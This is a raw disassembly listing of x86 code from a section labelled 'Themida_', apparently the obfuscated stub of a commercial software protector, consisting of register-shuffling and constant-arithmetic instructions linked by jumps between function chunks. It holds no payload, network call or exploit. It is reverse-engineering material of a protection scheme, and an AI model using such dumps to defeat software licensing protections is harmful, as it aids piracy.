FUNCTION CHUNK AT 0056892C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005692BE SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0056D6E4 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056EECE SIZE 00000016 BYTES sub esp, 4 mov [esp+4+var_4], esi push 506Dh mov [esp+8+var_8], edx mov edx, 18302F2Dh push esi push edi mov edi, 18A37A53h mov esi, edi pop edi jmp loc_56EECE sub_55EA9F endp ; =============== S U B R O U T I N E ======================================= sub_55EAC4 proc near ; CODE XREF: sub_56755A-8CC4j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005655F6 SIZE 00000009 BYTES sub esp, 4 mov [esp+4+var_4], ebx push dword ptr [esp+4] jmp loc_5655F6 sub_55EAC4 endp ; --------------------------------------------------------------------------- loc_55EAD3: ; CODE XREF: Themida_:00563558j sub esp, 4 mov [esp], edi push esp mov edi, [esp] add esp, 4 push esi mov esi, esp push edx jmp loc_55CF26 ; --------------------------------------------------------------------------- loc_55EAEF: ; CODE XREF: Themida_:00568ACAj xor ebp, 168D0968h push esi push edi push 3D804532h pop edi add edi, 0C27FBACEh mov esi, edi jmp loc_565FD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562C5D loc_55EB0A: ; CODE XREF: sub_562C5D+3j mov al, 0C5h jmp loc_56C94F ; END OF FUNCTION CHUNK FOR sub_562C5D ; --------------------------------------------------------------------------- loc_55EB11: ; CODE XREF: Themida_:0056186Aj mov ebx, [esp] add esp, 4 inc ebx sub ebx, 78CB4CFDh neg ebx sub ebx, 525807E5h inc ebx sub ebx, 0E7F80E37h add ecx, ebx pop ebx add ecx, 4 xor ecx, [esp] jmp loc_563FA4 ; --------------------------------------------------------------------------- loc_55EB41: ; CODE XREF: Themida_:00564851j inc ebx shl ebx, 4 xor ebx, 4BD460C2h and edx, ebx pop ebx jmp loc_55E14F ; --------------------------------------------------------------------------- loc_55EB53: ; CODE XREF: Themida_:0055EBB9j mov ebx, eax pop eax mov esi, ebx pop ebx add ecx, 385A3195h push edi mov edi, 41B355BBh jmp loc_567034 ; --------------------------------------------------------------------------- loc_55EB6A: ; CODE XREF: Themida_:005703E8j add esp, 4 sub esp, 4 mov [esp], ebx mov ebx, 4D9951D6h jmp loc_567514 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56026A loc_55EB7D: ; CODE XREF: sub_56026A+5C89j not edx sub edx, 4C354171h shr edx, 3 inc edx sub edx, 13ECF2ADh sub ebp, 190C256Dh add ebp, edx jmp loc_56A08D ; END OF FUNCTION CHUNK FOR sub_56026A ; --------------------------------------------------------------------------- loc_55EB9C: ; CODE XREF: Themida_:0055F5A8j mov [esp], esi push 4 pop esi jmp loc_560D8E ; --------------------------------------------------------------------------- loc_55EBAA: ; CODE XREF: Themida_:00560D18j pop ecx add ecx, 4 push esi push ebx push eax mov eax, 4 jmp loc_55EB53 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55D71E loc_55EBBE: ; CODE XREF: sub_55D71E+1E07j xchg edx, [esp+0Ch+var_C] pop esp mov [esp+8+var_8], ecx push ebx mov bh, dl push edx mov dh, bh mov cl, dh jmp loc_56D7BA ; END OF FUNCTION CHUNK FOR sub_55D71E ; --------------------------------------------------------------------------- loc_55EBD2: ; CODE XREF: Themida_:00560C7Bj pop esi shl ebx, 8 sub ebx, 1 shr ebx, 6 add ebx, 2FCF2DEAh push ebx sub dword ptr [esp], 1CB61335h jmp loc_56CF6B ; --------------------------------------------------------------------------- loc_55EBEF: ; CODE XREF: Themida_:005639E7j push 6102h mov [esp], edi sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_56DB07 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_55EC0A: ; CODE XREF: sub_56F653-6294j movzx eax, al mov dx, [esp+0] sub esp, 4 mov [esp+4+var_4], ebp sub esp, 4 mov [esp+8+var_8], esp add [esp+8+var_8], 4 jmp loc_569F8A ; END OF FUNCTION CHUNK FOR sub_56F653 ; --------------------------------------------------------------------------- loc_55EC26: ; CODE XREF: Themida_:0056EFC8j shl edx, 5 shl edx, 3 add edx, 6EB26D4Bh sub ecx, edx pop edx sub ebx, ecx jmp loc_55CC88 ; --------------------------------------------------------------------------- mov ax, [esp] push edx push esp mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push eax push edi jmp loc_55C993 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55EC5F: ; CODE XREF: sub_56755A+180j mov ch, 0BFh not ch xor ch, 0BFh add bh, ch pop ecx add bh, 0D0h jmp loc_561D04 ; --------------------------------------------------------------------------- loc_55EC71: ; CODE XREF: sub_56755A+9013j jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_55EC76 proc near ; CODE XREF: sub_56755A-3EEBj var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00562586 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 00564716 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056D707 SIZE 00000019 BYTES push ebx mov eax, [esp+4+var_4] add esp, 4 push dword ptr [esp+0] mov ebx, [esp+4+var_4] add esp, 4 add esp, 4 push 3F61h jmp loc_562586 sub_55EC76 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDEF loc_55EC93: ; CODE XREF: sub_55FDEF+348Dj mov esi, [esp+4+var_4] jmp loc_562671 ; END OF FUNCTION CHUNK FOR sub_55FDEF ; --------------------------------------------------------------------------- loc_55EC9B: ; CODE XREF: Themida_:00562B10j mov [esp], eax push esp pop eax jmp loc_56E1DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55ECA5: ; CODE XREF: sub_56755A+23F4j add esi, 10830542h add esi, edi sub esi, 10830542h pop edi push 64BBh mov [esp+0], ebx mov ebx, 4 add esi, 564A1D8Bh add esi, ebx sub esi, 564A1D8Bh jmp loc_56C828 ; --------------------------------------------------------------------------- loc_55ECD4: ; CODE XREF: sub_56755A-BBB8j mov esp, [esp+8+var_8] sub esp, 4 jmp loc_56EE48 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55ECDF: ; CODE XREF: Themida_:005646DEj rol word ptr [esp], cl pushf jmp loc_55B555 ; --------------------------------------------------------------------------- loc_55ECE9: ; CODE XREF: Themida_:005670BBj sub ebx, 228B4663h jmp loc_56C095 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_55ECF4: ; CODE XREF: sub_56F653-850Dj xor eax, esi mov esi, [esp+8+var_8] add esp, 4 push ebp mov ebp, 33291E5Fh shl ebp, 1 shr ebp, 2 jmp loc_56F194 ; END OF FUNCTION CHUNK FOR sub_56F653 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D83A loc_55ED0F: ; CODE XREF: sub_56D83A-DB5Ej add dword ptr [esp+4], 7F5B308Ah add [esp+4], eax sub dword ptr [esp+4], 7F5B308Ah sub esp, 4 mov [esp+4+var_4], ebx mov ebx, 56F14CCDh add [esp+8], ebx jmp loc_565ED4 ; END OF FUNCTION CHUNK FOR sub_56D83A ; --------------------------------------------------------------------------- loc_55ED37: ; CODE XREF: Themida_:0056318Aj add ecx, eax pop eax sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx jmp loc_568F5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560483 loc_55ED4B: ; CODE XREF: sub_560483+5DD7j sub ebp, esi add ebp, 2CC151A9h pop esi and eax, ebp jmp loc_55FE94 ; END OF FUNCTION CHUNK FOR sub_560483 ; --------------------------------------------------------------------------- loc_55ED5B: ; CODE XREF: Themida_:0055BF08j jmp loc_55B555 ; --------------------------------------------------------------------------- loc_55ED60: ; CODE XREF: Themida_:0056386Cj mov [esp], edi mov edi, esp push ecx jmp loc_56BC7D ; --------------------------------------------------------------------------- loc_55ED6B: ; CODE XREF: Themida_:0056F252j push ecx jmp loc_56C0BA ; --------------------------------------------------------------------------- loc_55ED71: ; CODE XREF: Themida_:0056AAA6j sub eax, ebx pop ebx push ebp push ecx push ebx mov ebx, 6EE330E9h mov ecx, ebx pop ebx push ebx mov ebx, ecx mov ebp, ebx pop ebx pop ecx add eax, ebp push dword ptr [esp] pop ebp sub esp, 4 mov [esp], edi jmp loc_56CE90 ; --------------------------------------------------------------------------- loc_55ED97: ; CODE XREF: Themida_:00567502j push ebx mov ebx, esp add ebx, 4 jmp loc_56BEF9 ; --------------------------------------------------------------------------- loc_55EDA5: ; CODE XREF: Themida_:0056CD16j sub ch, 98h and dl, ch pop ecx sub dl, 9Ah jmp loc_564384 ; --------------------------------------------------------------------------- loc_55EDB3: ; CODE XREF: Themida_:00560B62j pop ebp jmp loc_56DF25 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563973 loc_55EDB9: ; CODE XREF: sub_563973+1328j xor ebx, edx jmp loc_56CE72 ; END OF FUNCTION CHUNK FOR sub_563973 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55EDC0: ; CODE XREF: sub_56755A+8C61j pop edx push ebx mov ebx, 13F764A5h xor ebx, 13F764A1h add edx, ebx pop ebx add edx, 4 jmp loc_570530 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EBD2 loc_55EDD8: ; CODE XREF: sub_56EBD2+9j push esp jmp loc_56B214 ; END OF FUNCTION CHUNK FOR sub_56EBD2 ; --------------------------------------------------------------------------- loc_55EDDE: ; CODE XREF: Themida_:0056D8E6j add eax, ebx pop ebx xchg eax, [esp] mov esp, [esp] push ebx jmp loc_55E09A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55EDED: ; CODE XREF: sub_56755A-4940j add esp, 4 sub esp, 4 mov [esp+8+var_8], esi mov esi, esp add esi, 4 jmp loc_55E1F4 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55EE06: ; CODE XREF: Themida_:005604DEj push esp pop ebx push ebp mov ebp, esp add ebp, 4 jmp loc_562B1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55EE16: ; CODE XREF: sub_56755A+1C3Cj pop ebx xchg edi, [esp+4+var_4] pop esp sub esp, 4 mov [esp+4+var_4], edi push ebp mov ebp, 6CEC3D28h jmp loc_563BEC ; --------------------------------------------------------------------------- loc_55EE2C: ; CODE XREF: sub_56755A-A31Bj pop [esp+20h+var_20] mov esp, [esp+1Ch+var_1C] jmp loc_564257 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55EE37: ; CODE XREF: Themida_:0056B78Fj sub cl, dl mov edx, [esp] jmp loc_55C6CD ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_56B104 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55C719 loc_55EE4A: ; CODE XREF: sub_55C719+3E55j push eax sub esp, 4 mov [esp+10h+var_10], ecx push 5A021743h pop ecx add ecx, 42A74607h jmp loc_56F9C0 ; END OF FUNCTION CHUNK FOR sub_55C719 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562272 loc_55EE65: ; CODE XREF: sub_562272+1B29j xor edx, edi pop edi xor edi, edx push [esp+0Ch+var_C] pop edx add esp, 4 mov edx, edi mov edi, [esp+8+var_8] jmp sub_56A500 ; END OF FUNCTION CHUNK FOR sub_562272 ; --------------------------------------------------------------------------- loc_55EE7E: ; CODE XREF: Themida_:00566CE1j pop eax add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], esi push ebp jmp loc_569674 ; --------------------------------------------------------------------------- loc_55EE94: ; CODE XREF: Themida_:0056D739j xchg esi, [esp] pop esp add ebp, 2 push ebp jmp loc_56A99C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDEF loc_55EEA4: ; CODE XREF: sub_55FDEF+10j mov esi, [esp+0] jmp loc_56F169 ; END OF FUNCTION CHUNK FOR sub_55FDEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55EEAC: ; CODE XREF: sub_56755A-17B4j xor esi, [esp+1Ch+var_1C] mov esp, [esp+1Ch+var_1C] mov [esp+1Ch+var_1C], eax sub esp, 4 mov [esp+20h+var_20], edi mov edi, 17584219h push 53C508DDh mov eax, [esp+24h+var_24] add esp, 4 xor eax, edi jmp loc_56974B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55F5D6 loc_55EED8: ; CODE XREF: sub_55F5D6+1578j mov eax, [esp+0] add esp, 4 push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+0] mov esp, [esp+0] mov [esp-4+arg_0], ebx sub esp, 4 mov [esp+0], esp add dword ptr [esp+0], 4 jmp loc_56E609 ; END OF FUNCTION CHUNK FOR sub_55F5D6 ; --------------------------------------------------------------------------- loc_55EF08: ; CODE XREF: Themida_:0056FB48j push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_5659F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55EF15: ; CODE XREF: sub_56755A-3588j mov [esp+20h+var_20], ecx push 5902h mov [esp+24h+var_24], ebp push 2B757021h pop ebp add ebp, 4A441CCFh jmp loc_55E298 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], eax jmp loc_56CE3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E55E loc_55EF43: ; CODE XREF: sub_56E55E-5979j xor eax, ebx jmp loc_56B129 ; END OF FUNCTION CHUNK FOR sub_56E55E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_55EF4A: ; CODE XREF: sub_56E89A-505Aj mov edx, 4 mov edi, edx pop edx add esi, edi jmp loc_56A430 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55EF59: ; CODE XREF: sub_56755A+62C0j add ecx, 4 push edi mov edi, 4 add ecx, edi jmp loc_562A59 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_55EF6C: ; CODE XREF: sub_56CB7D+1Dj add esp, 4 push edi jmp loc_566D06 ; END OF FUNCTION CHUNK FOR sub_56CB7D ; =============== S U B R O U T I N E ======================================= sub_55EF75 proc near ; CODE XREF: sub_56755A-9C77j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00561792 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005682FB SIZE 00000009 BYTES push ebx push 37F7h mov [esp+8+var_8], esp add [esp+8+var_8], 4 pop ebx push edi mov edi, esp jmp loc_561792 sub_55EF75 endp ; --------------------------------------------------------------------------- loc_55EF8B: ; CODE XREF: Themida_:0056F7E6j mov [esp], edx push esp mov edx, [esp] add esp, 4 jmp loc_56EB82 ; --------------------------------------------------------------------------- loc_55EF9A: ; CODE XREF: Themida_:0056AC62j mov [esp], eax jmp loc_55F6E0 ; --------------------------------------------------------------------------- loc_55EFA2: ; CODE XREF: Themida_:0056279Fj xor ecx, 3FE5022Ch inc ecx jmp loc_562296 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEC8 loc_55EFAE: ; CODE XREF: sub_56CEC8-AF4Aj pop ecx jmp loc_569F13 ; END OF FUNCTION CHUNK FOR sub_56CEC8 ; --------------------------------------------------------------------------- loc_55EFB4: ; CODE XREF: Themida_:0055E2DDj mov [esp], ecx jmp loc_56DE36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56532B loc_55EFBC: ; CODE XREF: sub_56532B-1C66j pop ebp jmp loc_5676C6 ; END OF FUNCTION CHUNK FOR sub_56532B ; --------------------------------------------------------------------------- loc_55EFC2: ; CODE XREF: Themida_:0056A2BCj add esp, 4 sub ecx, 4DA67479h xor ecx, 78C241FDh jmp loc_55B76A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDEF loc_55EFD9: ; CODE XREF: sub_55FDEF+1AB7j push esi mov esi, 38F23731h add esi, 14A4F0BBh jmp loc_5628FF ; END OF FUNCTION CHUNK FOR sub_55FDEF ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_55C03A ; --------------------------------------------------------------------------- loc_55EFF3: ; CODE XREF: Themida_:00562BFFj not edi jmp loc_5668D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E99C loc_55EFFA: ; CODE XREF: sub_55E99C+F620j sub dword ptr [esp+4], 524E492Dh add dword ptr [esp+4], 17E32005h pop ebx mov ecx, [esp+0] add esp, 4 push ebp mov ebp, 69C3375Dh jmp sub_55C719 ; END OF FUNCTION CHUNK FOR sub_55E99C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55F01F: ; CODE XREF: sub_56755A+2669j pop ebp jmp loc_56DBA6 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55F025: ; CODE XREF: Themida_:0056549Fj mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xchg eax, [esp] pop esp mov [esp], edi push 37AAh jmp loc_56D607 ; --------------------------------------------------------------------------- loc_55F049: ; CODE XREF: Themida_:0056A2E4j jmp loc_55B555 ; --------------------------------------------------------------------------- loc_55F04E: ; CODE XREF: Themida_:0056DECCj shr ecx, 4 shr ecx, 4 and ecx, 719F2778h inc ecx or ecx, 1070697Ch sub ecx, 0D9C6FF0Ah or ebp, ecx pop ecx dec ebp sub ebp, 0C23E40AAh or edx, ebp pop ebp jmp loc_55F9DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566FBB loc_55F079: ; CODE XREF: sub_566FBB+6A23j mov esi, 481402C6h sub esi, 4BBE1111h dec esi add esi, 30F92006h xor ecx, esi jmp loc_561B93 ; END OF FUNCTION CHUNK FOR sub_566FBB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566C65 loc_55F092: ; CODE XREF: sub_566C65+6159j mov edi, 317A0673h sub edi, 300AEFE6h jmp loc_56F0E8 ; END OF FUNCTION CHUNK FOR sub_566C65 ; --------------------------------------------------------------------------- loc_55F0A2: ; CODE XREF: Themida_:005651E5j mov edi, eax pop eax jmp loc_55F174 ; --------------------------------------------------------------------------- loc_55F0AA: ; CODE XREF: Themida_:00562B07j pop ebx pop edx add esi, 46BA39BEh add ebp, esi pop esi push edx mov edx, 430E245Fh sub esi, edx jmp loc_55F843 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55F0C2: ; CODE XREF: sub_56755A+55BCj mov esi, [esp+24h+var_24] jmp loc_56D4EF ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55F0CA: ; CODE XREF: Themida_:00569791j mov [esp], ebx push 2CB97673h push dword ptr [esp] jmp loc_55B8EB ; --------------------------------------------------------------------------- loc_55F0DA: ; CODE XREF: Themida_:00566D4Bj push ecx mov ecx, 2B913D02h sub ebp, ecx mov ecx, [esp] add esp, 4 add ebp, 15E63BF5h jmp loc_55E2C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55F0F6: ; CODE XREF: sub_56755A-66F9j push 72E6h mov [esp+28h+var_28], edi push [esp+28h+var_24] pop edi pop [esp+28h+var_28] mov esp, [esp+24h+var_24] dec byte ptr [esp+24h+var_24] pushf jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55F112: ; CODE XREF: Themida_:00564C4Cj push ebx push ecx mov ecx, 595B3754h dec ecx add ecx, 0A6A4C8B1h jmp loc_561A44 ; --------------------------------------------------------------------------- loc_55F125: ; CODE XREF: Themida_:0056AB74j mov edi, [esp] jmp loc_55C962 ; --------------------------------------------------------------------------- loc_55F12D: ; CODE XREF: Themida_:0056CEB4j push ecx mov ecx, esp push esi jmp loc_56CB3E ; --------------------------------------------------------------------------- loc_55F136: ; CODE XREF: Themida_:00567251j mov esp, [esp] jmp loc_56FDC7 ; --------------------------------------------------------------------------- loc_55F13E: ; CODE XREF: Themida_:0056CB54j sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx push 28591806h mov edx, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_56EB71 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55F169: ; CODE XREF: sub_56755A-79A3j push edx mov edx, 233116EEh jmp loc_568442 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55F174: ; CODE XREF: Themida_:0055F0A5j mov ecx, 71BEA12Fh sub ecx, edi pop edi sub edx, ecx pop ecx pop ebx jmp loc_565087 ; =============== S U B R O U T I N E ======================================= sub_55F185 proc near ; CODE XREF: sub_562FB2+C2ADj var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056A171 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056C04D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056F116 SIZE 0000001B BYTES push ebx mov ebx, 9932FD9h sub eax, 42E97ADEh add eax, 4F8446E3h sub eax, ebx sub eax, 4F8446E3h jmp loc_56F116 sub_55F185 endp ; --------------------------------------------------------------------------- loc_55F1A1: ; CODE XREF: Themida_:0056C2D6j push ebx push edi push 0DAB607Ch jmp loc_56FE12 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F83B loc_55F1AD: ; CODE XREF: sub_56F83B+14j sub ebx, edi jmp loc_561E26 ; END OF FUNCTION CHUNK FOR sub_56F83B ; --------------------------------------------------------------------------- loc_55F1B4: ; CODE XREF: Themida_:00569A62j mov ebx, 0C5662BDh push edi mov edi, 579520EEh jmp loc_560775 ; --------------------------------------------------------------------------- loc_55F1C4: ; CODE XREF: Themida_:00560D89j sub ah, 0A7h mov ch, ah pop eax sub ch, 0E5h and ch, 15h jmp loc_55F7C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DA88 loc_55F1D5: ; CODE XREF: sub_55DA88-1E8Aj pop esi push 26C9h mov [esp+4+var_4], ebx mov ebx, 7C004092h push 6B75h mov [esp+8+var_8], ebp mov ebp, 7C00408Eh sub ebx, ebp pop ebp add esi, ebx pop ebx add esi, 4 xchg esi, [esp+0] mov esp, [esp+0] pop eax push 5564h mov [esp+0], ebx push eax push edx push 0AE2779h pop edx push eax mov eax, 3E3E5FFDh jmp loc_56F58F ; END OF FUNCTION CHUNK FOR sub_55DA88 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55F21E: ; CODE XREF: sub_56755A-4AB4j add edi, 4 xchg edi, [esp+2Ch+var_2C] pop esp push 2B29h mov [esp+2Ch+var_2C], ebp push esi mov esi, 3442377Eh jmp loc_55D6ED ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55F238: ; CODE XREF: Themida_:00562403j push eax jmp loc_55E77D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55F23E: ; CODE XREF: sub_56755A+B85j mov [esp+30h+var_30], ecx jmp sub_56A468 ; --------------------------------------------------------------------------- loc_55F246: ; CODE XREF: sub_56755A-49C5j xor ebx, eax mov eax, [esp+30h+var_30] add esp, 4 jmp loc_55F464 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55F256: ; CODE XREF: Themida_:00570273j xchg ecx, [esp] pop esp push edi jmp loc_56ED62 ; --------------------------------------------------------------------------- loc_55F260: ; CODE XREF: Themida_:005639EDj sub [esp+8], ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 add [esp+4], edx add dword ptr [esp+4], 1EBA56F5h push dword ptr [esp] pop edx push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp mov edx, [esp] add esp, 4 jmp loc_56DAC2 ; --------------------------------------------------------------------------- loc_55F2A4: ; CODE XREF: Themida_:00568359j not dl xchg dl, ch xor ch, 81h push ax jmp loc_563075 ; --------------------------------------------------------------------------- loc_55F2B2: ; CODE XREF: Themida_:0055F5D1j and [edi+1Ch], ebx pop ebx jmp loc_55FD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55F2BB: ; CODE XREF: sub_56755A+1E1Bj add esp, 4 sub esp, 4 mov [esp+2Ch+var_2C], eax jmp loc_56B913 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56667A loc_55F2CF: ; CODE XREF: sub_56667A+6C2Ej push edi mov edi, 5A7B060Eh jmp loc_5659C9 ; END OF FUNCTION CHUNK FOR sub_56667A ; --------------------------------------------------------------------------- loc_55F2DA: ; CODE XREF: Themida_:005671BBj neg ebp sub ebp, 0A0C99EA6h jmp loc_5660CB ; --------------------------------------------------------------------------- loc_55F2E7: ; CODE XREF: Themida_:00562936j push eax jmp loc_56E7E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55F2ED: ; CODE XREF: sub_56755A+3E1j sub ebx, 645870B6h sub ebx, 5FB93E8Dh add ebx, edx add ebx, 5FB93E8Dh push eax mov eax, 3ADA5703h jmp loc_57058A ; --------------------------------------------------------------------------- loc_55F30C: ; CODE XREF: sub_56755A-5A89j xchg ebp, [esp+30h+var_30] jmp loc_56F05E ; --------------------------------------------------------------------------- loc_55F314: ; CODE XREF: sub_56755A-9BE8j add [esp+0Eh+var_C+2], edi mov edi, [esp+0Eh+var_10+2] jmp loc_560201 ; --------------------------------------------------------------------------- loc_55F320: ; CODE XREF: sub_56755A-D1Aj add ebx, esi pop esi pop edi xchg ebx, [esp+6+var_8+2] pop esp shr ecx, 0 or eax, eax jz loc_55C828 push 4D51h mov [esp+6+var_8+2], edx mov edx, esp add edx, 4 sub edx, 4 xor edx, [esp+6+var_8+2] xor [esp+6+var_8+2], edx xor edx, [esp+6+var_8+2] pop esp mov [esp+2+var_4+2], ebx sub esp, 4 mov [esp+6+var_8+2], eax mov eax, 7BAD4F15h push esi jmp sub_56532B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565CEF loc_55F367: ; CODE XREF: sub_565CEF+6j add edi, ebp jmp loc_56F3F6 ; END OF FUNCTION CHUNK FOR sub_565CEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565C4A loc_55F36E: ; CODE XREF: sub_565C4A-4173j and esi, 299C1D7Dh jmp loc_56BABD ; END OF FUNCTION CHUNK FOR sub_565C4A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563616 loc_55F379: ; CODE XREF: sub_563616+7j mov ebx, 716A0DBBh mov edi, 716A0DBFh xor edi, ebx mov ebx, [esp+8+var_8] push ebx mov ebx, esp push eax mov eax, 4 add ebx, eax pop eax add ebx, 4 xchg ebx, [esp+0Ch+var_C] pop esp add ebx, edi mov edi, [esp+8+var_8] push esi mov esi, esp push eax push edx push 2E381672h pop edx dec edx not edx xor edx, 0D1C7E98Ah mov eax, edx pop edx add esi, eax jmp loc_55C9E7 ; END OF FUNCTION CHUNK FOR sub_563616 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55F3BE: ; CODE XREF: sub_56755A-7CBAj sub edx, ecx push ecx mov ecx, 1DAC28D8h jmp loc_564E2C ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568470 loc_55F3CB: ; CODE XREF: sub_568470-8142j mov ebx, [esp+0] add esp, 4 jmp loc_56943D ; END OF FUNCTION CHUNK FOR sub_568470 ; --------------------------------------------------------------------------- loc_55F3D9: ; CODE XREF: Themida_:00566872j add edi, 4 add edi, 4 push edi push dword ptr [esp+4] mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_561DEA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_55F3FE: ; CODE XREF: sub_56E89A-12F13j add ebx, eax push ebp mov ebp, 47E44EF1h sub ebx, ebp pop ebp jmp loc_55FAFA ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- loc_55F40E: ; CODE XREF: Themida_:0056EF3Aj mov sp, [esp] jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55F417: ; CODE XREF: sub_56755A+35B3j inc edi xor edi, 16C469BCh add ecx, edi jmp loc_55D51E ; --------------------------------------------------------------------------- loc_55F425: ; CODE XREF: sub_56755A-B3E1j mov ecx, [esp+4+var_4] add esp, 4 shr bh, 7 push eax mov al, 0B1h shr al, 5 push cx mov cl, 0FDh shl cl, 6 sub cl, 26h shr cl, 2 jmp loc_56AE64 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- 